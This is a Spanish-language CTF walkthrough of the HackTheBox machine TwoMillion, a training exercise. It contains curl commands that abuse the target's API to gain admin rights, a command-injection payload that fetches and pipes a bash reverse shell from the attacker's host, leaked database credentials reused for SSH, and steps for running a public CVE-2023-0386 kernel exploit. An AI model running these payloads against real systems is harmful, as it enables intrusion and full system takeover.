> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md). # Guía de HackTheBox TwoMillion Guía de la máquina HackTheBox TwoMillion Fácil Linux que cubre abuso de la API para generar un código de invitación válido, abuso de la API para elevar nuestro privilegio a administrador, inyección de comandos mediante un diseño defic {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Abusando de la API para generar un código de invitación válido * Abusando de la API para elevar nuestros privilegios a administrador * Inyección de comandos mediante una funcionalidad de la API mal diseñada * Filtración de información * Escalada de privilegios mediante explotación del kernel (CVE-2023-0386) - Vulnerabilidad de OverlayFS {% endhint %} **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts ```

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p22,80 2million.htb-oN targeted ```

## Puerto 80 - HTTP

#### Descubrimiento de recursos con Gobuster ```bash gobuster dir -u http://2million.htb/ / -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt / -t 100 -r --exclude-length 1674 ```

#### Descubrimiento del `inviteapi.min.js` archivo Este archivo JavaScript está fuertemente ofuscado usando la clásica `eval(function(p,a,c,k,e,d){...})` técnica. Después de la desofuscación, aparecen dos funciones interesantes: * `verifyInviteCode(code)`: envía un código de invitación a `/api/v1/invite/verify` * `makeInviteCode()`: realiza una petición a `/api/v1/invite/how/to/generate`

## Explotando la API – Generando un código de invitación #### Llamada inicial : ```bash curl -X POST / -H "Content-Type: application/json" / http://2million.htb/api/v1/invite/how/to/generate ``` Respuesta > {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Los datos están cifrados ... Probablemente deberíamos comprobar el tipo de cifrado para poder descifrarlo..."}# #### Desencriptación ROT13 → nueva URL: {% embed url="" %}

Para generar el código de invitación, realiza una solicitud POST a /api/v1/invite/generate #### Solicitud: ```bash curl -X POST / -H "Content-Type: application/json" / http://amillion.htb/api/v1/invite/generate ```

Respuesta (base64): * V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM= Decodificación: ```bash echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo ``` WUOIF-LK68X-HUGTW-DOX1S Usamos este código para crear una cuenta en el sitio.

## Explotación de la API de HackTheBox

#### Observación de la API Al visitar `/api`, podemos observar las rutas disponibles.

#### Intentando generar la configuración VPN (fallo inicial) ```bash curl -v -X POST / -H "Content-Type: application/json" / --cookie "session=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate ``` Respuesta: No permitido.

#### Modificando nuestro rol a través de la API

Probamos a cambiar la configuración del usuario con la ruta: ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update ``` > {"status":"danger","message":"Falta el parámetro: email"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}' ``` > {"status":"danger","message":"Falta el parámetro: is/\_admin"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}' ``` > Respuesta: > > {"id":15,"username":"Jordan","is/\_admin":1}

#### Comprobando nuestro estado de administrador ```bash curl -s -X GET / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/auth | jq { "message": true } ```

### RCE mediante inyección de comandos ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}' ```

Intento de inyectar un comando en el campo `nombre de usuario`: ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}' ```

#### Shell inversa 1. **Servidor de archivos** ```bash echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html python3 -m http.server 80 ``` 2. **Netcat a la escucha** ```bash nc -nvlp 443 ``` 3. **Enviando la orden** ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}' ``` Obtenemos una shell inversa

## Escalada de privilegios #### Descubrimiento de archivos sensibles Al buscar entre los archivos accesibles desde nuestra shell, descubrimos un oculto `.env` archivo que contiene credenciales de la base de datos: ```bash DATABASE=htb_prod USERNAME=admin PASSWORD=SuperDuperPass123 ```

También notamos la presencia de un segundo usuario llamado `admin`.

#### Reutilización de contraseñas Al probar las credenciales descubiertas, vemos que el usuario del sistema `admin` está usando la **misma contraseña** que la contraseña de la base de datos. ### Bandera user.txt :)

Esta mala práctica nos permite obtener un **Conexión SSH**: #### Correo electrónico del sistema

Al conectarnos, un mensaje nos informa de la presencia de un **nuevo correo electrónico**. Al leerlo, obtenemos información crucial: > Hola admin, > > Sé que estás trabajando lo más rápido posible para hacer la migración de la BD. Mientras estamos parcialmente caídos, ¿podrías también actualizar el sistema operativo de nuestro servidor web? Ya ha habido varias CVE graves del kernel de Linux este año. La de OverlayFS / FUSE pinta fea. No podemos comprometernos por eso.

Este mensaje nos pone tras la pista de una **vulnerabilidad conocida en OverlayFS**:/ **CVE-2023-0386** – una vulnerabilidad de escalada local de privilegios en el kernel de Linux. ## Explotación de CVE-2023-0386 - Escalada de privilegios de OverlayFS > OverlayFS permite superponer sistemas de archivos. En algunas versiones del kernel de Linux, una mala gestión de la capacidad permite a un usuario sin privilegios ejecutar código con **privilegios de root**. {% embed url="" %} **Pasos a seguir** 1. **Clona el exploit** desde nuestra máquina local: ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **Transfiere los archivos compilados** a la máquina objetivo (`scp`, `python -m http.server`, etc.).

2. **En la máquina objetivo**, ejecuta en **dos terminales**: * Terminal A : ```bash ./fuse ./ovlcap/lower ./gc ``` * Terminal B : ```bash ./exp ``` Si todo va bien, obtenemos una **root** shell

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.